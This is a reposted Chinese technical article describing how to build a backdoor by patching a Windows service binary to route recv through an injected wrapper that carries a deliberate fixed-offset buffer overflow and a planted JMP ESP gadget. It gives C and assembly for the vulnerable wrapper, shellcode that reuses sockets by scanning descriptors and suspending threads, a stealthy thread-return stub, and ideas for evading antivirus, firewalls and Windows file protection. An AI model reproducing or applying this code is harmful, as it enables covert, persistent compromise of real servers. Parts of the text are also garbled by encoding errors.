--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)
生活随笔
收集整理的這篇文章主要介紹了
--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
?作者:FLASHSKY(原創(chuàng))
作者郵箱:flashsky@xfocus.org
站點(diǎn):??? www.xfocus.net
申明:
作者無(wú)意實(shí)現(xiàn)一個(gè)木馬,作者也不是一個(gè)木馬開(kāi)發(fā)者,只是提供一種思路:將緩沖區(qū)溢出攻擊和木馬/后門相結(jié)合的木馬實(shí)現(xiàn)手段,
通過(guò)一個(gè)簡(jiǎn)單的原型來(lái)驗(yàn)證這種思路的可行性,并展示給大家看到這種實(shí)現(xiàn)方式的很多特點(diǎn)和優(yōu)勢(shì)。也提請(qǐng)安全研究人員對(duì)這種木馬發(fā)展技術(shù)
給予較高的關(guān)注,提出查殺和避免的方法。作者提供關(guān)鍵代碼段的技術(shù)實(shí)現(xiàn)的文檔和演示來(lái)驗(yàn)證其實(shí)現(xiàn),但不提供源代碼和二進(jìn)制程序,任何
人都可以利用此文進(jìn)行自己的技術(shù)研究和代碼實(shí)現(xiàn),但是自己負(fù)擔(dān)自己開(kāi)發(fā)程序進(jìn)行非法行為的法律責(zé)任。
一:溢出植入型木馬(后門)的基本思路
1. 木馬(后門)如何有效的隱蔽的思考?
木馬和后門是在服務(wù)器端運(yùn)行,實(shí)現(xiàn)與特定工作者進(jìn)行通訊和執(zhí)行服務(wù)請(qǐng)求的一個(gè)應(yīng)用服務(wù)器程序。隱蔽則是非常重要的手段,當(dāng)前主要涉及
到的隱蔽問(wèn)題有:
? 應(yīng)用/代碼本身的隱蔽,避免事后查殺工具查出。避免文件完整性的檢查等。
? 應(yīng)用進(jìn)程執(zhí)行的隱蔽:如木馬進(jìn)程的隱蔽
? 自動(dòng)啟動(dòng)代碼相關(guān)的隱蔽:如W2K下需要修改注冊(cè)表讓自己在系統(tǒng)自動(dòng)啟動(dòng)的時(shí)候啟動(dòng),或填加到服務(wù)或驅(qū)動(dòng)當(dāng)中
? 通訊的隱蔽:如何隱蔽端口不被查出,如何饒過(guò)防火墻等問(wèn)題
當(dāng)前木馬/后門發(fā)展的趨勢(shì)是寫入到驅(qū)動(dòng)和內(nèi)核的級(jí)別。通過(guò)攔截系統(tǒng)調(diào)用的服務(wù)來(lái)達(dá)到以上幾個(gè)隱蔽的目的,如ROOTKIT等,但是這樣的木馬
/后門也存在著一些問(wèn)題:
? 代碼量多,在客戶端執(zhí)行的工作多。做的事情越多,其蛛絲馬跡必然也就會(huì)越多。而且是在主動(dòng)方式執(zhí)行的,任何時(shí)候都在予以執(zhí)行
,而不僅僅是在攻擊者與其進(jìn)行通訊的時(shí)候。
? 影響一定的性能:由于是寫入內(nèi)核和驅(qū)動(dòng)的,受影響的面比較大。
? 編寫需要高的技巧與技能。
2. 溢出植入型木馬(后門)的思路
那么針對(duì)以上問(wèn)題,我們會(huì)產(chǎn)生一個(gè)思路,就是按照這種方式來(lái)實(shí)現(xiàn)隱藏自己的木馬/后門
? 被動(dòng)工作式的木馬,最好是制造一個(gè)可以遠(yuǎn)程利用的通用漏洞,利用這個(gè)通用漏洞來(lái)實(shí)現(xiàn)控制,這樣只在與攻擊者通訊的時(shí)候才會(huì)有
一定的跡象,而且服務(wù)器端留存的代碼到最小,也就無(wú)所謂事后查殺,對(duì)系統(tǒng)的影響也非常的小。
? 特定程序的執(zhí)行代碼依賴于客戶端傳入的數(shù)據(jù),而這些代碼只存在于內(nèi)存之中。
? 特定代碼執(zhí)行的機(jī)理盡量依賴于系統(tǒng)本身的正常的機(jī)制進(jìn)行加載,和執(zhí)行
3. 溢出植入型木馬(后門)的優(yōu)勢(shì)
那么由上面的思路進(jìn)行闡發(fā),我們會(huì)想到,做植入一個(gè)漏洞的木馬,那么為什么會(huì)選植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系統(tǒng)通用性的優(yōu)勢(shì):在很多的CPU平臺(tái)和操作系統(tǒng)平臺(tái)上,溢出都是一個(gè)普遍存在的漏洞,并且其原理都是一樣的,
這樣的木馬很容易移植。
? 溢出漏洞本身難以被檢查,具備非常好的隱秘性
? 溢出本身就可以做遠(yuǎn)程的控制,很多其他的漏洞是通過(guò)漏洞獲得權(quán)限以后還需要通過(guò)其他的方式來(lái)進(jìn)行控制。
? 溢出通過(guò)客戶端把指令以代碼的方式發(fā)送執(zhí)行來(lái)獲得控制,這些可執(zhí)行代碼數(shù)據(jù)可以根據(jù)需要進(jìn)行一定的修改,本身具備一定的靈活
性,本身的攻擊代碼不以服務(wù)器端程序的方式留存,只在執(zhí)行的時(shí)候存在于內(nèi)存堆棧中,很難尋找。
? 溢出的代碼執(zhí)行是在正常服務(wù)的內(nèi)部進(jìn)行的,很容易就實(shí)現(xiàn)了進(jìn)程的隱藏,而且注入到一個(gè)正常的應(yīng)用中,其啟動(dòng)和控制無(wú)需要其他
修改注冊(cè)表等方式。而且利用本身的端口和SOCKET很容易就能實(shí)現(xiàn)通訊的端口復(fù)用和SOCKET復(fù)用,實(shí)現(xiàn)端口隱藏和饒過(guò)防火墻。
? 溢出本身對(duì)程序的性能等影響很小。且是完全被動(dòng)方式來(lái)工作的。
? 制造一個(gè)溢出漏洞比較簡(jiǎn)單和容易實(shí)現(xiàn),即使是一個(gè)非常安全的應(yīng)用程序,制造一個(gè)溢出BUG很容易,如一個(gè)收包的代碼調(diào)用:
recv(sock,buf,xxxx,flag),只需要簡(jiǎn)單的調(diào)整XXX的大小的值就使得其存在了一個(gè)溢出的漏洞。
二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解決的4個(gè)問(wèn)題
但是真正以木馬/后門方式給應(yīng)用植入一個(gè)溢出漏洞而可以被很好的被廣泛使用,必須要使得這個(gè)溢出具備通用化的問(wèn)題,主要涉及到如下幾個(gè)
方面的考慮:
? 溢出點(diǎn)定位
因?yàn)橐绯龅腂UF的長(zhǎng)度,位置和RETADDR的偏移關(guān)系對(duì)每個(gè)應(yīng)用程序都是不定的,如果針對(duì)每個(gè)應(yīng)用程序都需要手工調(diào)整這個(gè)溢出點(diǎn)的話,客戶
端就無(wú)法實(shí)現(xiàn)通用性的代碼,因此需要植入一個(gè)可溢出點(diǎn)固定的溢出漏洞。
? JMP ESP代碼提供和定位
溢出代碼通過(guò)RETADDR掌握到主動(dòng)的時(shí)候,但由于SHELLCODE在的內(nèi)存堆棧是動(dòng)態(tài)分配的,是無(wú)法準(zhǔn)確獲得其地址的,那么需要借重于JMP ESP這
樣的語(yǔ)句來(lái)實(shí)現(xiàn)跳轉(zhuǎn),有些應(yīng)用可能有這樣的語(yǔ)句,有些應(yīng)用可能又沒(méi)有這樣的語(yǔ)句,而且地址不會(huì)是一樣的,隨不同系統(tǒng)和操作系統(tǒng)的版本
也都會(huì)變化,因此需要提供一個(gè)可固定的JMP ESP代碼的地址給溢出SHELLCODE,來(lái)實(shí)現(xiàn)通用化。
? 溢出覆蓋后對(duì)變量的引用訪問(wèn)違例
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會(huì)引用這些變量,而這些變量很可能已經(jīng)被我們的覆蓋代碼已經(jīng)修改,從而導(dǎo)致訪問(wèn)違例,導(dǎo)致程序終止或被記錄或進(jìn)行異常處理代碼
而無(wú)法執(zhí)行我們的溢出代碼并且暴露我們的行蹤。
? 溢出覆蓋后執(zhí)行代碼對(duì)溢出區(qū)的修改
溢出以后,由于溢出的BUF到RETADDR之間很可能還存在其他的變量,在溢出的RETADDR返回以前,代碼還在應(yīng)用程序的上小文中執(zhí)行,這些代碼
很可能會(huì)修改我們已經(jīng)溢出覆蓋的SHELLCODE的內(nèi)容,這樣在溢出以后就無(wú)法正確執(zhí)行我們想要執(zhí)行的SHELLCODE,一般來(lái)說(shuō)還會(huì)引起異常導(dǎo)致
進(jìn)程的意外終止和記錄,暴露我們的行蹤。
2. 實(shí)現(xiàn)植入通用化溢出漏洞的思路
那么如何有效解決以上問(wèn)題,實(shí)現(xiàn)一個(gè)可通用化利用的溢出漏洞呢?我們來(lái)展開(kāi)我們的思考:
a) 思路一:修改擴(kuò)展堆棧(對(duì)于固定EBP/ESP引用有效)
在一個(gè)函數(shù) CALL FUN的FUN執(zhí)行空間下
假設(shè)一個(gè)應(yīng)用程序的堆??臻g如下:
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
??????????? 其他的變量11到20占有空間40個(gè)字節(jié)
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16
那么在進(jìn)入FUNC執(zhí)行的時(shí)候,其生成的匯編語(yǔ)句會(huì)如下:
PUSH? EBP
MOV? EBP,ESP? (這時(shí)候的ESP指向RETADDR的地址)
SUB?? ESP,480?? (480是變量總的占有空間的數(shù))
。。。。。。。????????? (代碼執(zhí)行區(qū))
ADD?? ESP,480
PUSH? EBP
我們修改如上的匯編代碼的語(yǔ)句為:
PUSH? EBP
MOV? EBP,ESP?
SUB?? ESP,1480
。。。。。。。???????
ADD?? ESP,1480
PUSH? EBP
對(duì)應(yīng)的堆??臻g是
ESP----------》變量1到10 占有空間40個(gè)字節(jié)
??????? 可被我們溢出的BUF1占有空間400個(gè)字節(jié)
其他的變量11到20占有空間40個(gè)字節(jié)
多出的1000個(gè)字節(jié)的空間
EBP----------》RETADDR
傳入的函數(shù)參數(shù)1到4? 占有空間16
如果對(duì)參數(shù)的引用都是以EBP+XXX,對(duì)變量的引用都是以ESP+XXX的方式的話,我們會(huì)發(fā)現(xiàn)其對(duì)應(yīng)用的影響沒(méi)有,程序依然可以很好的執(zhí)行,因
為參數(shù)和變量相對(duì)ESP,EBP的位置并沒(méi)有發(fā)生變化。但是我們會(huì)發(fā)現(xiàn)如下幾個(gè)有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函數(shù)的頭尾地方出現(xiàn),不影響程序大小,容易尋找。
2. 如果我們可以根據(jù)已知的 XXX的大小和BUF的位置,來(lái)自動(dòng)計(jì)算和調(diào)整XXX的值,就可以實(shí)現(xiàn)溢出點(diǎn)定位的問(wèn)題,如上面的例子,需要
溢出點(diǎn)定位到1000,我們把SUB ESP,480改成 SUB ESP,1040就可以達(dá)到定位點(diǎn)是1000的目的。(多出的40是在BUF上面的變量,這和BUF的位
置有關(guān));
3. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,就能有效的避免SHELLCODE被后續(xù)程序執(zhí)行導(dǎo)致被修改的問(wèn)題。
4. 如果增加的空間足夠大,我們可以把SHELLCODE放在多出的這個(gè)空間里,那么對(duì)于前面的空間,由于溢出點(diǎn)位置已定,SHELLCODE不存
在被修改,因此可以對(duì)于變量10到20盡可能的有效的數(shù)據(jù)地址,來(lái)減少可能的后續(xù)代碼的執(zhí)行對(duì)其的引用導(dǎo)致的訪問(wèn)違例問(wèn)題,雖然不能完全
解決,但至少提供了很大的可能性。
這是一個(gè)很好的思路,然而現(xiàn)實(shí)是殘酷的,因?yàn)槲覀儼l(fā)現(xiàn)原先設(shè)想的一個(gè)前提在不同的編譯器選項(xiàng)下是不成立的,既
對(duì)變量的引用是ESP+XXX,對(duì)傳入?yún)?shù)的引用是EBP+XXX,不同的情況生成的匯編代碼是復(fù)雜的,既有可能對(duì)變量和傳入?yún)?shù)的引用全部是ESP+
XXX的方式,也有可能對(duì)變量和傳入?yún)?shù)的引用全部是EBP+-XXX的方式。我們只得利用這個(gè)思路繼續(xù)思考新的解決方法。
b) 思路二:植 入某個(gè)特定函數(shù)的轉(zhuǎn)發(fā)函數(shù)
那么新的想法就是,針對(duì)可以溢出的函數(shù),給他植入一個(gè)轉(zhuǎn)發(fā)的函數(shù)。也就是說(shuō)本來(lái)在一個(gè)過(guò)程中有對(duì)
recv(sock,buf,xxx,flag)的調(diào)用,把他修改成recvadd(sock,buf,xxx,flag),我們附加給應(yīng)用一個(gè)recvadd函數(shù),這個(gè)函數(shù)只是簡(jiǎn)單的對(duì)
recvadd(sock,buf1,xxx,flag)進(jìn)行轉(zhuǎn)發(fā)而已,但是其分配的內(nèi)存空間和給定的XXX是不一致的,存在溢出的漏洞,那么對(duì)這個(gè)轉(zhuǎn)發(fā)的recv進(jìn)行
溢出就可以實(shí)現(xiàn)溢出控制了。
3. 植入的通用化通用化溢出漏洞的實(shí)現(xiàn)
a) 函數(shù)轉(zhuǎn)發(fā)過(guò)程和優(yōu)勢(shì)
過(guò)程:
i. 開(kāi)辟一個(gè)新的BUF1,長(zhǎng)度固定,這樣可提供溢出點(diǎn)固定的溢出
ii. 調(diào)用recv(sock,buf1,xxx,flag)進(jìn)行收包
iii. 將buf1的內(nèi)容拷貝回BUF,這樣就不會(huì)影響正常的應(yīng)用。
優(yōu)勢(shì):
可以一舉解決可通用化利用的溢出漏洞的四個(gè)問(wèn)題。
iv. 因?yàn)樵赗ECVADD函數(shù)中運(yùn)行,BUF1的分配可以根據(jù)指定的溢出點(diǎn)進(jìn)行分配。并可保證足夠的溢出空間,使得SHELLCODE就在BUF1內(nèi)存放
而不影響EBP后面的變量
v. RECVADD中可以放置JMP ESP的變形代碼,解決JMP ESP的定位問(wèn)題
vi. RECVADD只提供BUF1,接收以后再拷貝回BUF,這樣不會(huì)涉及到問(wèn)題3和問(wèn)題4
vii. 不會(huì)影響程序的正常應(yīng)用,而且附加的函數(shù)本身功能比較簡(jiǎn)單,非常容易實(shí)現(xiàn),代碼量非常小,1,2百字節(jié)以內(nèi),而如W2K的PE文件格
式下節(jié)是以0X1000H對(duì)齊的,因此有足夠的空間加入到PE文件正常的節(jié)中而不影響其大小,其他參數(shù)的變化。
b) 制造轉(zhuǎn)發(fā)函數(shù)的通用漏洞
下面就是最初步的一個(gè)對(duì)RECV進(jìn)行轉(zhuǎn)發(fā)的函數(shù)的C代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //說(shuō)明無(wú)法通用溢出,因?yàn)橐挥绊懻?yīng)用
else
{
num = recv(s,buf1,0x11a9,flags); //擴(kuò)大到標(biāo)準(zhǔn)指定的溢出點(diǎn)上
if(num>0)?????????????????? //判斷是否收到包
{
if(num<=len) ? //判斷是否溢出,沒(méi)有則拷貝內(nèi)存
memcpy(buf,buf1,num);
else????????????????? //提供JMP ESP的地址,這個(gè)地址隨植入時(shí)候自動(dòng)計(jì)算并替換掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}
}
return num;
}
c) 可通用化的利用
i. 檢測(cè)溢出和溢出返回地址
判斷溢出很簡(jiǎn)單,只需要利用RECV的返回接收字節(jié)數(shù)字和給定的LEN進(jìn)行比較就可以,當(dāng)然也可以利用溢出地址的編碼檢查是否是自己特定的
溢出。
另外就是擴(kuò)展了足夠的BUF1以后,SHELLCODE完全就可以放在BUF1中而無(wú)需覆蓋EBP下面的內(nèi)容了,這樣就為有效的線程安全返回提供了條件。
因?yàn)橐粋€(gè)我們的SHELLCODE完成任務(wù)以后,這個(gè)溢出線程的處理是非常麻煩的,如果中斷掉,對(duì)有些應(yīng)用則會(huì)引起異常,如DNS SERVER等就不
會(huì)工作,而有些這會(huì)中斷和記錄下來(lái),最理想的方式是保存環(huán)境完全又返回到原來(lái)應(yīng)該返回點(diǎn)繼續(xù)執(zhí)行。
ii. JMP ESP代碼
我們?cè)诟郊雍瘮?shù)的尾部提供一個(gè)如下的匯編代碼的機(jī)器代碼:
SUB ESP,XXXX
JMP ESP
(當(dāng)然為了隱蔽,可以生成其他等效功能的變形代碼,如
MOV EAX,ESP,
JMP EAX)
然后在植入的時(shí)候自動(dòng)計(jì)算這個(gè)附加代碼的地址,替換掉RECVADD的程序代碼中,在運(yùn)行檢測(cè)到溢出的時(shí)候,就將這個(gè)地址替換到有效的返回
地址上,實(shí)現(xiàn)溢出的SHELLCODE的跳轉(zhuǎn)。
iii. 其他需要利用的環(huán)境變量的保護(hù)
同時(shí)考慮到如下因素,因在替代函數(shù)中提供對(duì)如下變量的保護(hù)
? SOCKET,便于SOCKET復(fù)用
? RETADDR:便于SHELLCODE完成以后,線程實(shí)現(xiàn)安全的返回
? 本函數(shù)調(diào)用傳入的參數(shù)大小,以實(shí)現(xiàn)SHELLCODE中對(duì)ESP/EBP計(jì)算安全返回
? 執(zhí)行前保存函數(shù)體外的需要保存的積存器,以實(shí)現(xiàn)安全返回
那么下面就是一個(gè)考慮了以上情況的對(duì)RECV進(jìn)行轉(zhuǎn)發(fā)函數(shù)的匯編代碼
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]???????????????? //檢查L(zhǎng)EN是否是大于1000H的應(yīng)用,
cmp eax,1000H??????????????????? //這樣的應(yīng)用我們按1000H做溢出點(diǎn)
jg recv???????????????????????? //可能會(huì)破壞正常的應(yīng)用
sub esp,119ch???????????????????? //擴(kuò)展堆棧到定好的溢出點(diǎn)
mov eax,[esp+11a0h]?????????? //保存SC備SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]?????????? //保存返回地址供SHELLCODE執(zhí)行完
mov [esp+4],eax?????????????? //以后進(jìn)行返回
mov dword ptr [esp+8],10h????? //保存壓入?yún)?shù)的占用堆棧的大小
push??? esi????????????????????? //保護(hù)外圍積存器
push??? edi
push??? ecx
push??? edx
mov??? eax, [esp+11Bch]
push ?? eax
mov???? esi, [esp+11Bch]
push??? 11A9h????????????????? //替換成可溢出的值
lea???? ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call??? recv?????????????????? //recv轉(zhuǎn)發(fā)
test??? eax, eax
jle???? loc_2
cmp???? eax, esi????????????? //判斷是否接收到包
jle???? loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec ??? eax
cmp edx,0x90909090??? //比較規(guī)定的溢出地址值
jne loc_2
mov eax,1010101H????? //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:??????????????????????? //BUF1的內(nèi)容拷貝回BUF
mov???? ecx, eax
mov???? edi, [esp+11B4h]
mov???? edx, ecx
lea???? esi, [esp+1cH]
shr???? ecx, 2
repe movsd
mov???? ecx, edx
and???? ecx, 3
repe movsb
loc_2:
pop edx????????? //彈出保護(hù)的外圍積存器
pop ??? ecx
pop ??? edi
pop ??? esi
add esp,119ch
retn??? 10h?????????? //如果發(fā)生溢出則會(huì)到指定的程序點(diǎn)上執(zhí)行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木馬(后門)的在W2K下的實(shí)現(xiàn)
我們已經(jīng)有了一個(gè)完備的轉(zhuǎn)發(fā)函數(shù)來(lái)植入通用化的溢出漏洞了,那么如何這個(gè)后門和木馬如何植入應(yīng)用呢?下面我們就來(lái)考慮這個(gè)方面的問(wèn)題
:
a) 整個(gè)植入代碼的結(jié)構(gòu)如下
[RECVADD地址] :
存放真正的RECVADD函數(shù)的地址,這樣替換對(duì)方的JMP [RECV]的[RECV]地址值為這個(gè)地址值就能達(dá)到實(shí)際的JMP [RECV]的效果
[RECVADD函數(shù)]:真正的執(zhí)行代碼區(qū)
[RECV跳轉(zhuǎn)函數(shù)]:保存真正的RECV的跳轉(zhuǎn)地址JMP [RECV]和CALL [RECV]的地址,使得程序可以轉(zhuǎn)發(fā)真正的調(diào)用
[JMP ESP代碼]:存放溢出執(zhí)行時(shí)的JMP ESP執(zhí)行代碼
b) PE文件節(jié)點(diǎn)分析和代碼的附加
? 分析節(jié)接點(diǎn)空間是否有足夠的位置放置植入的代碼
? 在導(dǎo)入代碼節(jié)和執(zhí)行代碼節(jié)的頭部里找到對(duì)應(yīng)的需要替換的函數(shù)(此例為RECV函數(shù)的地址)
1. 通過(guò)GetProcAddress獲取recv的地址,在進(jìn)程空間的導(dǎo)入代碼節(jié)里查找對(duì)應(yīng)地址的導(dǎo)入地址
? 在代碼區(qū)內(nèi)找到j(luò)mp [recv]或call [recv]的地址,記錄下來(lái)
? 停止服務(wù),以寫打開(kāi)文件
? 替換jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代碼
c) 附加代碼的自動(dòng)計(jì)算和替換
涉及到自動(dòng)計(jì)算的地方有如下幾處
RECVADD函數(shù)本身的位置
RECV函數(shù)的真正位置的計(jì)算和替換
JMP ESP代碼的位置計(jì)算和替換
d) 調(diào)用函數(shù)分析和導(dǎo)入表的替換
存在兩種調(diào)用形式,程序需要分別分析和處理
i. JMP [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為JMP [FUN]的地址,這里面的 [FUN]中才為真正的FUN的導(dǎo)入表中的對(duì)應(yīng)函數(shù)的地址
這個(gè)只需要替換JMP [FUN]就可以達(dá)到對(duì)應(yīng)用的所有調(diào)用進(jìn)行替換的目的
ii. CALL [FUN]的替換
進(jìn)程在調(diào)用FUN的時(shí)候,是CALL [FUN],[FUN]為FUN的導(dǎo)入表中的對(duì)應(yīng)函數(shù)的地址
這個(gè)需要替換所有的CALL [FUN]才能達(dá)到對(duì)應(yīng)用的所有調(diào)用進(jìn)行替換的目的
三:通用的遠(yuǎn)程溢出的SHELLCODE
1. 函數(shù)定位處理
先通過(guò)對(duì)內(nèi)存的搜索獲得GetProcAddress的地址,來(lái)加載需要使用的API。這個(gè)都是屬于通用的技巧了。
2. 通用的SOCKET復(fù)用
這里討論的SOCKET復(fù)用是在W2K環(huán)境下的,針對(duì)阻塞式SOCKET情況下的。
a) SOCKET復(fù)用的意義
i. 服務(wù)器端無(wú)需開(kāi)端口,饒過(guò)端口檢查
ii. 使用服務(wù)本身的端口進(jìn)行通訊,被動(dòng)直接使用客戶端的SOCKET,可以有效的饒過(guò)防火墻
b) 基本思路
i. 獲得有效的SOCKET描述符
可以通過(guò)SOCKET從某個(gè)值遞增,然后通過(guò)getpeername判斷是否是一個(gè)SOCKET和對(duì)應(yīng)是否是自己的IP地址的SOCKET
ii. 判斷關(guān)聯(lián)的SOCKET描述符的進(jìn)程
在獲得SOCKET描述符存在的問(wèn)題是,由于溢出是在代碼執(zhí)行返回時(shí)才掌握控制權(quán),這個(gè)時(shí)候很可能SOCKET已被正常的關(guān)閉掉了。所以可能需要
我們連2個(gè)上去,一個(gè)發(fā)出溢出包,一個(gè)處于對(duì)方RECV停等的狀態(tài),如果第一個(gè)SOCKET已經(jīng)關(guān)閉的話,可以判斷第二個(gè)來(lái)進(jìn)行復(fù)用處理,這就
需要SHELLCODE做如下的判斷:
1. 有可能第一個(gè)也沒(méi)被關(guān)閉,那么需要有效判斷出第二個(gè)來(lái),只要通過(guò)檢查線程的ID是否和當(dāng)前的匹配就可以
2. 使用第二個(gè)SOCKET以前,需要先懸掛起這個(gè)SOCKET處理的線程,否則無(wú)法正常使用SOCKET
在阻塞式情況下,RECV的代碼會(huì)停留在NtWaitForSingleObject的代碼上,那么我們通過(guò)判斷線程環(huán)境上下文的EIP地址就基本可以獲得大致的
對(duì)應(yīng)的線程,但是也有可能有其他的線程處于同一位置,那么我們可以搜索有效的線程的堆棧空間是否存在對(duì)應(yīng)的SOCKET描述符就可以基本確
定了。
下面就是基本實(shí)現(xiàn)的C代碼:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)? //SOCKET描述符從0X50開(kāi)始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//對(duì)應(yīng)IP
{
//發(fā)送字節(jié)看是否是已經(jīng)關(guān)閉的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
? SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常處理了
}
//不是的則恢復(fù)線程的執(zhí)行和循環(huán)
c) 但是以上對(duì)線程的判斷方法只對(duì)阻塞式的SOCKET有效,對(duì)于非阻塞式的SOCKET卻無(wú)法判斷,但對(duì)于函數(shù)替換這種方式植入的溢出來(lái)說(shuō)
,非常幸運(yùn)的是:可以確保這個(gè)SOCKET在溢出控制的時(shí)候肯定不會(huì)被關(guān)閉,因此我們完全可以只通用SOCKET的getpeername函數(shù)嘗試就可以判
斷這個(gè)SOCKET描述符了,當(dāng)然我的例子代碼采用了由植入程序保存這個(gè)環(huán)境變量的方法來(lái)復(fù)用這個(gè)SOCKET
3. 對(duì)環(huán)境變量的正常引用
其實(shí)我們把三個(gè)保存的環(huán)境變量都放在溢出的BUF1之前的,相對(duì)于跳轉(zhuǎn)執(zhí)行的SUB ESP,XXX,JMP ESP后,這個(gè)地址是不固定的,可能隨著被
溢出函數(shù)在返回之前的RETN XXX的XXX而變化,因此要用一個(gè)固定的ESP+XXX來(lái)引用這幾個(gè)保存的環(huán)境變量,需要我們更該對(duì)應(yīng)的SUB ESP,XXX
,JMP ESP的XXX大小,幸運(yùn)的是,對(duì)于每個(gè)固定的替換API這個(gè)是固定的,因此我們完全可以針對(duì)每一個(gè)替換的函數(shù)寫固定的XXX在內(nèi),因?yàn)閷?duì)
不同的替換函數(shù)其替換函數(shù)的內(nèi)容也會(huì)變化。
我們的溢出植入只對(duì)函數(shù)調(diào)用級(jí)別的通用,也就是說(shuō)無(wú)論應(yīng)用A和B運(yùn)行在不同的版本的系統(tǒng)上,只要調(diào)用了對(duì)應(yīng)的函數(shù)C,則對(duì)A和B的C函數(shù)的
溢出植入都是通用的。
4. 線程完畢后的處理思考
a) 刪除或終止線程
這樣雖然簡(jiǎn)單,但是容易引起異常和記錄。
b) 保存線程環(huán)境返回原調(diào)用點(diǎn)
那么需要保存和計(jì)算如下的內(nèi)容:
保存溢出SHELLCODE執(zhí)行前的積存器內(nèi)容
保存需要返回的地址值
計(jì)算恢復(fù)后的ESP/EBP,好放入對(duì)應(yīng)的地址值。
最大的考慮則是:在恢復(fù)積存器后,還需要使用積存器讀取返回地址值并放入返回前的ESP和讀取函數(shù)在溢出前提供的函數(shù)參數(shù)大小使得計(jì)算正
常的ESP,因此對(duì)于積存器的保護(hù)需要一點(diǎn)技巧。
c) 線程安全返回的代碼
sub esp,0x13fc????????? //先開(kāi)辟一個(gè)空間,保護(hù)幾個(gè)特殊的積存器
push ebp
push ecx?????????????? //因?yàn)橐斡玫?#xff0c;所以在此處保存eax.ecx
push? eax
sub? esp,xxx?????? //這兒開(kāi)辟的堆棧空間才是真正的SHELLCODE使用的變量存放的空間
push? ebx????????????? 保存其他的積存器
push? ecx
push? edx
push? esi
push? edi
。。。。。。。。。。。。。。。。SHELLCODE功能代碼
執(zhí)行完畢以后實(shí)現(xiàn)縣城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //殺掉打開(kāi)的CMD進(jìn)程
_asm{
mov eax,k???????????? //K是溢出函數(shù)傳入的參數(shù)長(zhǎng)度
mov ebx,retaddr??????? //返回地址
mov ecx,28FCH?????? //ESP回復(fù)到開(kāi)辟的地方
add ecx,eax????????? //考慮溢出函數(shù)傳入的參數(shù)長(zhǎng)度的ESP地址
sub ecx,4???????????? //回到應(yīng)該放置RET的ESP處
mov [esp+ecx],ebx //存放真正的返回地址
pop? edi??????????? //恢復(fù)通用的積存器
pop? esi
pop? edx
pop? ecx
pop? ebx
pop? edi
pop? esi
pop? ebx
add esp,4e4h //ESP減少SHELLCODE使用的堆??臻g
mov? [esp+23F8H],eax?? //寫入K的值,在恢復(fù)積存器以后就可以無(wú)需再使用其他積存器來(lái)使用了
pop ebp??????? //彈出幾個(gè)保護(hù)的特殊積存器
pop eax
pop? ecx
add esp,23ECH?? //到存放K的堆棧上,這樣就可以用[ESP]來(lái)引用這個(gè)值而無(wú)需使用其他積存器,導(dǎo)致已恢復(fù)的積
存器又被破壞掉
add esp,[esp]??? //利用[ESP]引用K實(shí)現(xiàn)ESP+K,來(lái)計(jì)算真正的ESP值
sub esp,4 ? //提前4字節(jié),也就是RETADDR的地方。利用RET進(jìn)行返回
ret
}
5. 演示遠(yuǎn)程SCOKET復(fù)用SHELLCODE溢出TEST服務(wù)
四:闡發(fā)
1. 饒過(guò)WIN2K的系統(tǒng)文件完整性保護(hù)機(jī)制(SFP)
我們的后門和木馬主要的目標(biāo)是修改運(yùn)行具備特權(quán)的服務(wù)和系統(tǒng)文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP機(jī)制來(lái)保護(hù)系統(tǒng)文件
的完整性。那么只有能有效的修改我們需要植入的受系統(tǒng)保護(hù)的文件,我們才能達(dá)到目的。
網(wǎng)上有很多刪除和更新受保護(hù)文件的方法,但是基本思路是同步刪除掉備份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的對(duì)應(yīng)文件,但是這樣會(huì)導(dǎo)致系統(tǒng)跳出一個(gè)無(wú)法正常恢復(fù)受保護(hù)文件的警告框出來(lái),這樣就會(huì)暴露我們的行蹤。
